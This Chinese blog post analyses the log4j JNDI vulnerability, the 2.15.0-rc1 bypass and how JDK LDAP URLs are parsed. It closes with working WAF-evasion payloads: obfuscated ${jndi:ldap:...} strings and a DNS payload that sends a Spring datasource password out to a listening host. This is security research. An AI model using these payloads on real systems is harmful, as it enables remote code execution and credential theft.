zoukankan      html  css  js  c++  java
  • 我是如何跟踪log4j漏洞原理及发现绕WAF的tips

    0 前言

    log4j漏洞的形成原因已经有很多分析文章了,在看到2.15.0-rc1版本存在绕过的消息后,马上到log4j的github看了一些,发现了可能的绕过思路,顺带还搞了一些绕waf的tips

    1 log4j 2.15.0-rc1绕过

    1.1 如何发现漏洞产生原因的

    了解到log4j <=2.14.1 存在RCE的情况,我马上跑到其官方github看了一下,发现commit记录中有两个关键commit

    • 第一,log4j不再自动对消息中的lookup进行格式化,第一时间看到不是很懂
    • 第二,限制JNDI默认支持,限制通过LDAP访问服务器和类

    这两个点很容易联想到是不是跟JNDI攻击有关系,毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况,https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3 这个commit中,对org.apache.logging.log4j.core.net.JndiManager.java进行了大量修改,特别是在lookup方法中,加了很多代码

    仔细看了一下,没有修改前,lookup方法直接通过this.context.lookup(name)执行JNDI操作,没有任何过滤或者限制,而新增加的代码在限制JNDI服务器、类。那很明显了,看到payload后,马上对log4j 2.14.1版本尝试了一下,并在JndiManager#lookup中断点看到如下

    很明显,name就是payload中给定的,仔细看一下调用栈就可以发现,log4j会对字符串中的${}自动解析,也就是前面提到的commit备注信息中写到的。利用${}解析还能继续做一些文章绕过waf,需要了解log4j关于字符解析的方法,就不展开了:)

    1.2 如何绕过2.15.0-rc1版本

    首先来看看官方github仓库的commit记录,里面有一条在更新到2.15.0-rc1版本后的commit记录,提交的信息是"handle URI exception",即处理了URI出错的情况。修改代码情况如下图

    以为着在JndiManager#lookup方法处给catch语句中添加了两行代码,记录JNDI URI错误并返回null。而添加这两行代码前,此处只有一行注释,因此会继续向下执行this.context.lookup,也就意味着前面try语句中的代码报错后,会继续执行JNDI操作,绕过也就来自于这里。

    来看看try语句是什么写的

    代码比较长没有完全截进来,关键点是进入lookup方法后,立即将name变量送入URI类的构造函数中,此时只要URI的构造函数对name字符串解析出错,即可跳转到catch语句,进而向下执行到JNDI操作。

    那么我们要关注的点就是让new URI(name)处报错,但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时,不需要关心uri长什么样,所以可以在uri上做文章。

    跟踪源代码可以查看到URI对字符的支持情况

    数字、字母大小写这些就不说了,其它可打印字符也不多,从上面的注释中可以看到URI对反引号`,空格,尖括号<>并不支持,基于这一点,我们可以做个简单的实验

    空格和尖括号同样报错,就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况,并没有在catch语句中添加返回操作或报错,程序遇到报错后,会继续向下执行,从而造成危险。

    由于自己比较菜鸡,找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包,所以自己写了个函数模拟一下绕过的场景

    需要注意的是,2.15.0-rc1版本已经默认关闭了lookup自动格式化也就是解析${},但是可以手动开启,这些内容就不赘述了。

    2 LDAP绕WAF的tips

    2.1 URI解析

    关于${}绕jndi:ldap这些关键字的方法非原创就不详细展开了,来说说ldap地址解析过程中发现的case。

    跟着context.lookup向下跟进到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法,代码如下

    注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a",而后var2可以使用getHost和getPort方法获取host和port,说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法

    • com.sun.jndi.toolkit.url.Uri#parse
    private void parse(String var1) throws MalformedURLException {
        int var2 = var1.indexOf(58);
        if (var2 < 0) {
            throw new MalformedURLException("Invalid URI: " + var1);
        } else {
            this.scheme = var1.substring(0, var2);
            ++var2;
            this.hasAuthority = var1.startsWith("//", var2);
            int var3;
            if (this.hasAuthority) {
                var2 += 2;
                var3 = var1.indexOf(47, var2);
                if (var3 < 0) {
                    var3 = var1.length();
                }
    
                int var4;
                if (var1.startsWith("[", var2)) {
                    var4 = var1.indexOf(93, var2 + 1);
                    if (var4 < 0 || var4 > var3) {
                        throw new MalformedURLException("Invalid URI: " + var1);
                    }
    
                    this.host = var1.substring(var2, var4 + 1);
                    var2 = var4 + 1;
                } else {
                    var4 = var1.indexOf(58, var2);
                    int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3;
                    if (var2 < var5) {
                        this.host = var1.substring(var2, var5);
                    }
    
                    var2 = var5;
                }
    
                if (var2 + 1 < var3 && var1.startsWith(":", var2)) {
                    ++var2;
                    this.port = Integer.parseInt(var1.substring(var2, var3));
                }
    
                var2 = var3;
            }
    
            var3 = var1.indexOf(63, var2);
            if (var3 < 0) {
                this.path = var1.substring(var2);
            } else {
                this.path = var1.substring(var2, var3);
                this.query = var1.substring(var3);
            }
    
        }
    }
    

    此时var1="ldap://192.168.34.96:1389/a"

    • var2第一次赋值为(char)58也就是 : 在ldap中的索引,如果不存在 : 则直接报错

    • this.scheme赋值为第1个字符到 : 之间的字符串,也就是ldap、ldaps

    • var2第二次赋值自加1,而后检查冒号后是否存在//,如果不存在,则host和port都直接为null,进入path和query解析部分,也就是路径和参数

    • 第一个冒号后存在//,则进入if语句,var2第三次赋值,再加2,也就是跳过了//继续向后判断

    • (char)47 也就是/,给var3=var1.indexOf("/", var2),实际上为://后第一个/的索引,这是用来找到host和port的一个定位,但很有可能后面没有/(即var1="ldap://192.168.1.1:1389",此时var3直接赋值为var1.length,也就是var1最大索引+1)

    • 再往下走,会先判断://和var3直接有没有 [ 和 ] 符号对,且 ] 不能在var3后面否则会直接报错,这里有个意外情况就是ldap://[localhost:1389]/a这样写的话,会将localhost:1389当成host

    • 如果没有出现[]符号对,则赋值var4为://后的第一个:的索引,然后判断var4>=0 且 var4<=var3,也就是:必须存在且在var3的前面,条件达成则赋值为var5=var4,否则var5=var3,即从://和:之间获取host,或者从://和/之间获取host。此时出现骚操作"ldap://localhost/:",则host=localhost,骚操作"ldap://localhost",则host=null

    • 继续往后走,如果正常在://和var3之间出现冒号,则可以截取出port,如果前面的骚操作"ldap://localhost/:",则port为默认值-1,这个-1在后面大有可为:)

    后面解析path和query的部分就不看了,回到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那个图片的位置,此时host和port都解析好了,正式开启发起ldap请求

    2.2 LDAP发起

    com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN,执行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl()),即此时LdapURL已经解析完成,host和port都有了,跟进LdapCtx的构造方法,代码如下

    public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
        this.useSsl = this.hasLdapsScheme = var5;
        if (var4 != null) {
            this.envprops = (Hashtable)var4.clone();
            if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {
                this.useSsl = true;
            }
    
            this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");
            if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {
                this.netscapeSchemaBug = true;
            }
        }
    
        this.currentDN = var1 != null ? var1 : "";
        this.currentParsedDN = parser.parse(this.currentDN);
        this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
        if (this.hostname.charAt(0) == '[') {
            this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
        }
    
        if (var3 > 0) {
            this.port_number = var3;
        } else {
            this.port_number = this.useSsl ? 636 : 389;
            this.useDefaultPortNumber = true;
        }
    
        this.schemaTrees = new Hashtable(11, 0.75F);
        this.initEnv();
    
        try {
            this.connect(false);
        } catch (NamingException var9) {
            try {
                this.close();
            } catch (Exception var8) {
            }
    
            throw var9;
        }
    }
    

    这里主要关注hostname和port_number两个参数,即下面的代码块

    this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
    if (this.hostname.charAt(0) == '[') {
        this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
    }
    
    if (var3 > 0) {
        this.port_number = var3;
    } else {
        this.port_number = this.useSsl ? 636 : 389;
        this.useDefaultPortNumber = true;
    }
    

    其中var2=LdapURL中解析的host,var3=LdapURL中解析的port

    • 注意到代码逻辑,如果var2为null,则直接使this.hostname="localhost"

    • 如果hostname的第一个字符为"[",则取出第二个字符至倒数第二个字符的子字符串

    • 如果var3<=0,即LdapURL解析port失败,则在使用ldaps时,端口改为636,使用ldap时,端口强制改为389

    这些逻辑是变换ldap字符串的关键

    2.3 Bypass WAF tips

    根据前面LdapURL和LdapCtx的解析逻辑,可以对log4j的payload做出如下变换

    • 绕过2.15.0-rc1
    在uri中增加反引号` 或 空格 或 尖括号
    ${jndi:ldap:192.168.1.1:1389/ a}
    ${jndi:ldap:192.168.1.1:1389/a`}
    ${jndi:ldap:192.168.1.1:1389/<a}
    
    • ldap部分不出现port,避免被waf匹配ip:port
    ${jndi:ldap:192.168.1.1/a}
    ${jndi:ldap:192.168.1.1:/a}
    注意此时需要ldap服务端口为389
    

    • 对IP添加包裹

    前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹

    ${jndi:ldap://[192.168.34.96]/a}
    ${jndi:ldap://[192.168.34.96]]/a}   
    LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
    
    • 不出现ip和端口(有点鸡肋)
    ${jndi:ldap:/a}
    另外由于ldap协议本身的原因,必须要有一个path,所以至少写为ldap:/a,使得Ldap.path=a,否则不会下载恶意class文件
    

    这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的

    原理是,LdapURL解析时有个关键处理如下

    this.hasAuthority = var1.startsWith("//", var2);   // var2=第一个冒号的索引
    if (hasAuthority){
        解析获取host和port
    }
    

    此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389

    这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务,但都可以在目标上执行命令了,还需要这样干吗?所以有点鸡肋,除非java程序的权限比可以执行命令的用户权限更高,从而拿到更高权限(不过提权姿势也很多啊)

    • 字符解析
    ${jnd${:-i}:ladp:xx}
    ${jnd${::-i}:ladp:xx}
    ${jnd${E:-i}:ladp:xx}
    ${jnd${fafasdf234:-i}:ladp:xx}  //:-i前可以替换成任意字符
    
    • lower和upper
    ${lower:J} = j  
    ${upper:j} = J
    ${${lower:J}ndi:ldap:xx}
    ${${upper:j}ndi:ldap:xx}
    

    另外还有特殊字符 ı(\u0131),通过upper操作,可以使其变成i

    ${jnd${upper:ı}:ldap:xxx}
    
    • 利用unicode

    unicode编码在java中可以直接被解码成字符处理,但一般waf都具有unicode预解码能力

    • Bundle外带

    方法来自浅蓝师傅博客https://b1ue.cn/archives/513.html ,log4j中可以使用Bundle获取特殊变量值,通过dns外带,spring环境下可以尝试获取

    ${jndi:dns://ip:53/${bundle:application:spring.datasource.password}}
    nc -lvvp 53  开个端口等待即可
    

    参考

    log4j 漏洞一些特殊的利用方式

    Log4j2远程代码执行漏洞检测和防护策略研究


    作者:bitterz
    本文版权归作者和博客园所有,欢迎转载,转载请标明出处。
    如果您觉得本篇博文对您有所收获,请点击右下角的 [推荐],谢谢!
  • 相关阅读:
    智慧养老民政监管平台建设方案
    CF600E Lomsat gelral dsu on tree
    dsu on tree详解
    【Spring 从0开始】Spring5 新功能,整合日志框架 Log4j2
    【Spring 从0开始】JdbcTemplate 数据库事务管理
    【Spring 从0开始】JdbcTemplate 数据库事务参数
    【Spring 从0开始】JdbcTemplate 数据库事务管理
    【Spring 从0开始】JdbcTemplate 操作数据库
    【Spring 从0开始】AOP 操作
    【Spring 从0开始】AOP 操作中的相关术语、环境准备
  • 原文地址:https://www.cnblogs.com/bitterz/p/15674109.html
Copyright © 2011-2022 走看看